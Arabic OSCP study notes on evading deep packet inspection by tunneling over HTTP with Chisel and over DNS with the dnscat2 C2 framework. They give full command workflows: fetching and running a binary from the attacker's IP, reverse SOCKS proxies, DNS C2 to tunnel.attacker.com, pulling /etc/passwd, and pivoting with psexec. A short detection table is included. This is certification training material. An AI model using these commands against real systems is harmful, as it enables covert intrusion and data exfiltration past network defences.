Module 17: Tunneling عبر Deep Packet Inspection

Firewalls عادية بتفلتر بالـ IP والبورت فقط — "مين بيكلّم مين". الـ DPI بيروح أعمق بكتير ويفحص محتوى الـ Packets نفسها، بيقدر يتعرّف على بروتوكولات بأكملها من بصمتها بغضّ النظر عن البورت.

1فهم كيف DPI بيكسر SSH Tunneling والأساليب التقليدية
2إخفاء أي ترافيك جوّا HTTP باستخدام Chisel (SOCKS Reverse Proxy)
3بناء قناة C2 كاملة جوّا DNS بـ dnscat2 حتى لو كل حاجة تانية اتحجبت

ما الذي يحجبه DPI وما يسمح به

البروتوكول/الأسلوببدون DPIمع DPI (HTTP only policy)
SSH (port 22 أو custom)✓ يعمل✗ محجوب — بصمة SSH واضحة
Reverse Shell (Netcat, Bash TCP)✓ يعمل✗ محجوب — Raw TCP مش HTTP
SSH Remote Port Forwarding✓ يعمل✗ محجوب — ترافيك SSH مش HTTP
Socat forwards✓ يعمل✗ محجوب — يشبه TCP خام
HTTP / HTTPS✓ يعمل✓ مسموح
DNS Queries (UDP 53)✓ يعمل✓ دايماً مسموح تقريباً

السيناريو — المشكلة التي نحلّها

⚙ Scenario Setup

اخترقنا CONFLUENCE01 ونقدر ننفَّذ أوامر عبر HTTP.
قواعد DPI: كل الترافيك الصادر محجوب ما عدا HTTP من CONFLUENCE01 | كل البورتات الواردة محجوبة ما عدا TCP:8090 (Confluence).
المطلوب: وصول SSH لـ PGDATABASE01 اللي متاح فقط من الـ Internal Interface الخاص بـ CONFLUENCE01.
الحل: نلفّ ترافيكنا جوّا HTTP — DPI يشوفه HTTP عادي.

Kali / Attacker 192.168.118.4 Internet side DPI Firewall ✗ SSH blocked ✗ Netcat blocked ✗ Raw TCP blocked ✓ HTTP:8090 only CONFLUENCE01 192.168.50.63 DMZ — HTTP:8090 PGDATABASE01 10.4.50.215 Internal only ⚡ الهدف: نوصل PGDATABASE01 رغم الـ DPI — الحل: نلفّ الترافيك جوّا HTTP
DPI بيسمح بـ HTTP:8090 فقط — كل الأساليب التقليدية محجوبة

01HTTP Tunneling بـ Chisel

إيه هو Chisel؟

⬦ Chisel

Chisel هي أداة Tunneling بتلفّ أي ترافيك TCP/UDP جوّا HTTP/WebSocket عادي. من داخل الـ HTTP channel بتستخدم تشفير على غرار SSH. من منظور DPI — الاتصال يبدو تماماً كـ WebSocket upgrade لتطبيق ويب شرعي.

✓Cross-platform — Windows, Linux, macOS بكل المعماريات
✓Binary واحد — سهل النقل والتشغيل بدون تثبيت
✓Reverse SOCKS Proxy — الاتصال صادر من الهدف (مسموح)
✓يبقى الترافيك مشفّراً — DPI لا يرى المحتوى

معمارية Chisel — Client / Server

Kali (Server) chisel server --port 8080 --reverse SOCKS5 Proxy 127.0.0.1:1080 HTTP / WebSocket (DPI sees: normal web) ← Client initiates (Outbound HTTP ✓) CONFLUENCE01 chisel client 192.168.118.4:8080 R:socks Unwraps HTTP data Forwards to internal PGDATABASE01 10.4.50.215 SSH / Any Service SSH Request → SOCKS:1080 → HTTP Encapsulation → Chisel Client → PGDATABASE01
Reverse SOCKS: الـ Client على الهدف يتصَّل خارجياً (مسموح) → SOCKS Proxy يفتح على Kali

Chisel — التسليم والإعداد

1
استضافة Chisel على Kali وتنزيله على الهدف
bash — kali setup
# نسخ chisel لمجلد Apache
sudo cp $(which chisel) /var/www/html/
sudo systemctl start apache2

# على CONFLUENCE01 — تنزيل الـ Binary عبر HTTP (البروتوكول الوحيد المسموح!)
wget http://192.168.118.4/chisel -O /tmp/chisel
chmod +x /tmp/chisel
2
تشغيل Chisel Server على Kali
bash — kali server
chisel server --port 8080 --reverse
# --port 8080  → يستمع لاتصالات HTTP
# --reverse    → يسمح بـ Reverse Port Forwarding من الـ Clients
# Listening...
3
تشغيل Chisel Client على CONFLUENCE01
bash — confluence01 client
/tmp/chisel client 192.168.118.4:8080 R:socks
# R:socks = افتح Reverse SOCKS Proxy على الـ Server
# → SOCKS5 Proxy يفتح على Kali:1080
4
التحقق من الـ SOCKS Proxy على Kali
bash — verify
ss -ntplu | grep 1080
# → 127.0.0.1:1080  LISTEN  ← الـ Proxy شغّال!
5
استخدام النفق — SSH عبر HTTP
bash — use the tunnel
# SSH مش بيدعم SOCKS native — نستخدم ncat كـ helper
ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:1080 %h %p' \
    database_admin@10.4.50.215

# Shell على PGDATABASE01 عبر HTTP tunnel!
# DPI شاف HTTP WebSocket فقط
⚠ GLIBC Compatibility

لو Chisel مُجمَّع على GLIBC أحدث من النظام المستهدَف هتلاقي: version 'GLIBC_2.32' not found. الحل: استخدم Build قديمة مجمَّعة بـ Go Runtime أقدم، أو جمَّع الـ Binary على نفس نظام التشغيل المستهدَف.


02أساسيات DNS — كيف بيشتغل ولماذا هو مثالي للـ Tunneling

ليه DNS؟

الإنترنت بيعتمد على IP Addresses — مش أسماء. لما تكتب www.example.com، النظام لازم يترجمها لـ IP أولاً عبر DNS. الـ DNS دايماً مسموح به عبر الـ Firewalls — حتى الأجهزة بدون أي وصول للإنترنت بتعمل DNS queries عبر محرّل داخلي (Internal Resolver) اللي بيعيد توجيهها.

✓ DNS = Last Resort Escape Channel

حتى في الشبكات الأكثر تقييداً — لا HTTP، لا HTTPS، لا SSH — DNS query على البورت 53 UDP شبه مضمونة إنها تعدّي. ده بيخلّي DNS آخر قناة هروب ممكنة.

أنواع سجلات DNS المهمة

A Record
Domain → IPv4
أشيع نوع — يترجم اسم الدومين لـ IP. مثال: server.example.com → 1.2.3.4
TXT Record
نص حر — قابل للاستغلال
بيخزَّن أي نص. بيُستخدَم لـ SPF وDKIM — لكن في DNS Tunneling: المهاجم يحشو فيه أوامر مُشفَّرة ويُرجَّعها كـ Response.
NS Record
Authoritative Name Server
يحدَّد الـ Server الموثوق للدومين. المهاجم لازم يتحكَّم في Authoritative NS لاستقبال DNS queries من الضحايا.

سلسلة DNS Resolution

Client Internal Host UDP port 53 Recursive Resolver ISP / Internal Root NS "Ask .com TLD" .com TLD "Ask attacker.com" Authoritative NS (Attacker Controls!) attacker.com ⚡ يسجَّل كل query! المهاجم يسيطر على Authoritative NS → يرى ويتحكَّم في كل DNS query
لأن المهاجم يتحكَّم في Authoritative NS — كل query لـ *.attacker.com تصله مباشرة

03مفهوم DNS Tunneling — البيانات في الـ Queries

الفكرة الأساسية — البيانات الصادرة (Outbound)

بدل ما DNS Query عادية تكون www.example.com — في الـ Tunneling، البيانات بتتشفَّر (Base64) وبتتحشى في اسم الـ Subdomain نفسه:

مثال — data في subdomain
# DNS Query عادية:
www.example.com   →   "إيه IP الموقع ده؟"

# DNS Query مع بيانات مُشفَّرة:
aGVsbG8gd29ybGQ.attacker.com
# ↑ الـ Subdomain هو البيانات نفسها (Base64: "hello world")

# المهاجم يفك تشفير الـ Subdomain ويُعيد بناء البيانات الأصلية
echo "aGVsbG8gd29ybGQ" | base64 -d
# → hello world

الفكرة الأساسية — البيانات الواردة (Inbound)

المهاجم بيُرسَّل الأوامر رجوعاً للجهاز المخترَق عبر TXT Records في الـ DNS Response:

مثال — command في TXT record
# الاستعلام عن TXT record للـ attacker domain
dig TXT cmd.attacker.com
# → "Y2F0IC9ldGMvcGFzc3dk"  (TXT record)

# الجهاز المخترَق يفك التشفير وينفَّذ الأمر
echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d
# → cat /etc/passwd  ← الأمر اللي المهاجم أرسله!

# النتيجة تتبعث خارجاً في الـ Subdomain للـ Query التالية

القناة ثنائية الاتجاه — Bidirectional Flow

Compromised Host Internal — Restricted dnscat2 client Internal DNS Resolver forwards queries Attacker Auth DNS dnscat2 server Sees all queries Sends TXT responses attacker.com → Data OUT: aGVsbG8.attacker.com (Subdomains) ← Commands IN: TXT = "Y2F0IC9ldGMvcGFzc3dk" (Encoded command)
قناة ثنائية الاتجاه — Firewall يرى DNS Queries عادية فقط

تحديات نقل البيانات عبر DNS

التحدّيالتفاصيلالحل
حجم صغير جداًMax ~253 حرف لكل Subdomain LabelBase64 encoding + تقسيم لـ Chunks (~50-100 bytes)
بطء شديدملف 1MB = ~10,000+ DNS queryاستخدام DNS Tunneling للـ C2 فقط مش نقل بيانات كبيرة
قابل للكشفحجم queries غير طبيعي، Subdomains طويلةالتمويه بين Query وأخرى، اختيار توقيت مناسب
Latency عاليكل Round-Trip مر عبر DNS Hierarchyتجنّب Sessions تفاعلية — استخدمه لـ One-Shot commands

04DNS Tunneling بـ dnscat2 — C2 كامل عبر DNS

إيه هو dnscat2؟

⬦ dnscat2

dnscat2 هو Framework C2 (Command and Control) كامل مبني على DNS Tunneling. بيوفَّر: Remote Shell — نقل ملفات — Port Forwarding — كل ده مخبَّى جوّا DNS queries عادية. يستخدم Authentication Phrase للتحقق من سلامة النفق.

dnscat2 — Server Setup

⚠ شرط أساسي

المهاجم لازم يملك Authoritative DNS Server لدومين يتحكَّم فيه (مثلاً tunnel.attacker.com). يوقَّف أي DNS Service شغّال على البورت 53 أولاً (Dnsmasq, BIND, etc.).

bash — dnscat2 server + client
# ====== على جهاز المهاجم (Authoritative NS) ======
# إيقاف أي DNS service شغّال
sudo service dnsmasq stop

# تشغيل dnscat2 server
sudo ruby dnscat2.rb tunnel.attacker.com
# Listening on UDP port 53...
# Waiting for connections...

# ====== على الجهاز المخترَق ======
./dnscat tunnel.attacker.com
# Connecting...

# ====== على الطرفين — التحقق من Authentication Phrase ======
# Server: Secret: 'purple-elephant-dance'
# Client: Secret: 'purple-elephant-dance'
# ↑ يجب أن يتطابقا — يضمن النفق لم يُعترَض

# مراقبة DNS Traffic لتأكيد النشاط
sudo tcpdump -i eth0 udp port 53 -X

استخدام dnscat2 — Shell وPort Forwarding

dnscat2 — console commands
# في dnscat2 Server Console:
dnscat2> sessions
# New session established: 1

dnscat2> session -i 1
# Interact with session 1

# فتح Shell تفاعلي
command (session 1)> shell
# Now you have a shell!

# ====== Port Forwarding عبر DNS ======
# إنشاء Port Forward من المهاجم لـ SMB الداخلي
command (session 1)> listen 127.0.0.1:4455
connect 172.16.50.217:445
# Listener created on 127.0.0.1:4455

# الوصول لـ SMB الداخلي عبر نفق DNS!
smbclient -p 4455 //127.0.0.1/scripts -U hr_admin
# ← SMB Shares تظهر عبر DNS queries!

سيناريو المؤسسة — 10 خطوات

1
الوصول الأولي

استغلال تطبيق ويب ضعيف على الـ App Server الداخلي — الحصول على Remote Command Execution.

2
اكتشاف القيود

كل الترافيك الصادر محجوب ما عدا DNS. HTTP فشل، SSH فشل، Reverse Shells كلها فشلت.

3
تسجيل دومين للمهاجم

إعداد External Authoritative DNS Server لدومين يتحكَّم فيه المهاجم (مثلاً attacker-c2.com).

4
تشغيل dnscat2 Server

تشغيل dnscat2 على الـ Authoritative Server يستمع على UDP:53.

5
رفع وتشغيل Client

نقل dnscat2 binary للجهاز المخترَق وتشغيله يشير للدومين المتحكَّم فيه.

6
تأسيس قناة C2

DNS queries تتدفَّق عبر Internal Resolver → TLD → Attacker Auth DNS → C2 نشط.

7
تسريب البيانات

سجلات قاعدة البيانات تتشفَّر في Subdomains وتُرسَل بـ DNS Queries → تُعاد بناؤها على Server المهاجم.

8
إرسال الأوامر رجوعاً

المهاجم يُرسَّل أوامر مُشفَّرة في TXT Records → الـ Client يفكّها وينفَّذها.

9
التحرّك للعمق

Port Forward عبر نفق DNS للوصول للـ File Servers والـ DB Servers الداخلية ببيانات مالية.

10
الكشف في النهاية

فريق الأمان يلاحظ: حجم DNS غير طبيعي، Subdomains طويلة وعشوائية، استعلامات لدومين خارجي غير معروف.


Chisel مقابل dnscat2 — متى تستخدم أيهما

المعيار🌐 Chisel (HTTP Tunneling)🔵 dnscat2 (DNS Tunneling)
متى تستخدمهHTTP/HTTPS مسموح صادراًكل شيء محجوب ما عدا DNS — آخر حل
الأداءسريع ومستقر — الخيار الأفضل عند التوفربطيء جداً وـ Latency عالية
القدراتFull SOCKS Proxy — أي host/port داخليShell، نقل ملفات، Port Forwarding
التشفيرSSH-style داخل HTTP/WebSocketمُشفَّر — محتوى غير مرئي لـ DPI
النشرBinary واحد — سهل جداًيحتاج Ruby على الـ Server + Binary للـ Client
المتطلباتKali يستقبل HTTP من الهدفAuthoritative DNS Server لدومين متحكَّم فيه
قابلية الكشفWebSocket طويل — أحياناً مشبوه🔴 مرتفعة — DNS Anomaly Detection
حالة الاستخدامالسيناريوهات الشائعة في الـ Engagementالبيئات المقيَّدة للغاية كملاذ أخير
★ قرار الاختيار

دايماً جرَّب Chisel أول — أسرع وأسهل وأقل ضوضاء. انتقل لـ dnscat2 فقط لو HTTP Tunneling فشل. في البيئات الحقيقية، امتلك الاثنين جاهزين — كل بيئة بتحجب حاجة مختلفة.


Cheat Sheet مرجعي

Chisel — سير العمل الكامل

bash — chisel full workflow
# ===== KALI (Server) =====
# استضافة الـ Binary
sudo cp $(which chisel) /var/www/html/
sudo systemctl start apache2

# تشغيل الـ Server
chisel server --port 8080 --reverse

# التحقق من الـ SOCKS Proxy بعد اتصال Client
ss -ntplu | grep 1080
# → 127.0.0.1:1080

# SSH عبر النفق
ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:1080 %h %p' \
    user@INTERNAL_HOST

# ProxyChains بديل (بعد تعديل /etc/proxychains4.conf)
# أضف: socks5 127.0.0.1 1080
proxychains nmap -sT -p 22,80,443 INTERNAL_HOST

# ===== TARGET (Client) =====
wget http://KALI_IP/chisel -O /tmp/chisel
chmod +x /tmp/chisel
/tmp/chisel client KALI_IP:8080 R:socks

dnscat2 — سير العمل الكامل

bash — dnscat2 full workflow
# ===== ATTACKER AUTH DNS SERVER =====
sudo service dnsmasq stop          # إيقاف أي DNS service
sudo ruby dnscat2.rb tunnel.attacker.com
# أو بدون Domain (يعمل على IP مباشرة)
sudo ruby dnscat2.rb --dns "host=ATTACKER_IP,port=53"

# مراقبة الترافيك
sudo tcpdump -i eth0 udp port 53 -X

# ===== COMPROMISED HOST (Client) =====
./dnscat tunnel.attacker.com
# أو بـ IP مباشرة
./dnscat --dns "server=ATTACKER_IP,port=53"

# ===== dnscat2 SERVER CONSOLE =====
dnscat2> sessions              # عرض الجلسات النشطة
dnscat2> session -i 1         # التفاعل مع جلسة
command (1)> shell             # فتح Shell
command (1)> download /etc/passwd /tmp/  # تنزيل ملف
command (1)> upload /tmp/tool /tmp/tool  # رفع ملف
command (1)> listen 127.0.0.1:4455       # Port Forward
connect 172.16.50.217:445

# SMB عبر DNS tunnel
smbclient -p 4455 //127.0.0.1/share -U user

ProxyChains مع Chisel

bash — proxychains setup
# تعديل /etc/proxychains4.conf
# آخر سطر: socks5 127.0.0.1 1080

# استخدام ProxyChains مع أي أداة
proxychains nmap -sT -p- INTERNAL_IP
proxychains curl http://INTERNAL_HOST
proxychains evil-winrm -i INTERNAL_IP -u user -p pass
proxychains impacket-psexec user:pass@INTERNAL_IP

كشف DNS Tunneling — ما يراه المدافع

المؤشرالسببأداة الكشف
Subdomain names طويلة وعشوائيةالبيانات مُشفَّرة في الاسمDNS Anomaly Detection
حجم DNS queries مرتفع بشكل غير طبيعينقل بيانات عبر DNSSIEM / DNS Log Analysis
Queries لدومين واحد بشكل متكرّرC2 communicationsDNS Query Monitoring
TXT Records بمحتوى مُشفَّرأوامر واردة من المهاجمDeep DNS Inspection
Queries لدومين غير معروفدومين المهاجم المستحدثDNS Reputation Feeds

مقارنة سريعة — تقنيات الـ Tunneling

التقنيةالأساليب التقليديةChisel (HTTP)dnscat2 (DNS)
الشرطأي TCP مسموحHTTP مسموحDNS مسموح فقط
الأداء🟢 ممتاز🟡 جيد🔴 بطيء
صعوبة الكشف🔴 سهل🟡 متوسط🟡 متوسط-صعب
الإعداد🟢 بسيط🟡 متوسط🔴 يحتاج Auth DNS
Port Forwarding✓✓ (SOCKS)✓ (بطيء)

الخلاصة العامة للموديول

الموديول ده علَّمنا إزاي نتعامل مع أكثر البيئات تقييداً — لما الـ DPI بيحجب كل الأساليب التقليدية، الحل هو إخفاء الترافيك داخل بروتوكولات مسموح بها (HTTP أو DNS).

$ cat ./module17_summary.txt

القيد الأمني الحقيقي مش البورت — هو البروتوكول. طالما فيه بروتوكول مسموح به — HTTP أو DNS — يمكن بناء نفق كامل فوقه. المهاجم المحترف دايماً عنده طريقة بديلة في جيبه لكل قيد يواجهه.

★ Professional Mindset

في الـ Engagement: شوف إيه المسموح صادراً → جرَّب HTTP Tunneling (Chisel) أول → لو محجوب جرَّب DNS (dnscat2) → وثَّق كل محاولة. وجود Authoritative DNS جاهز مسبقاً للـ Engagements الحساسة قرار احترافي مهم.


نهاية نوتس الموديول السابع عشر — OSCP: Tunneling Through Deep Packet Inspection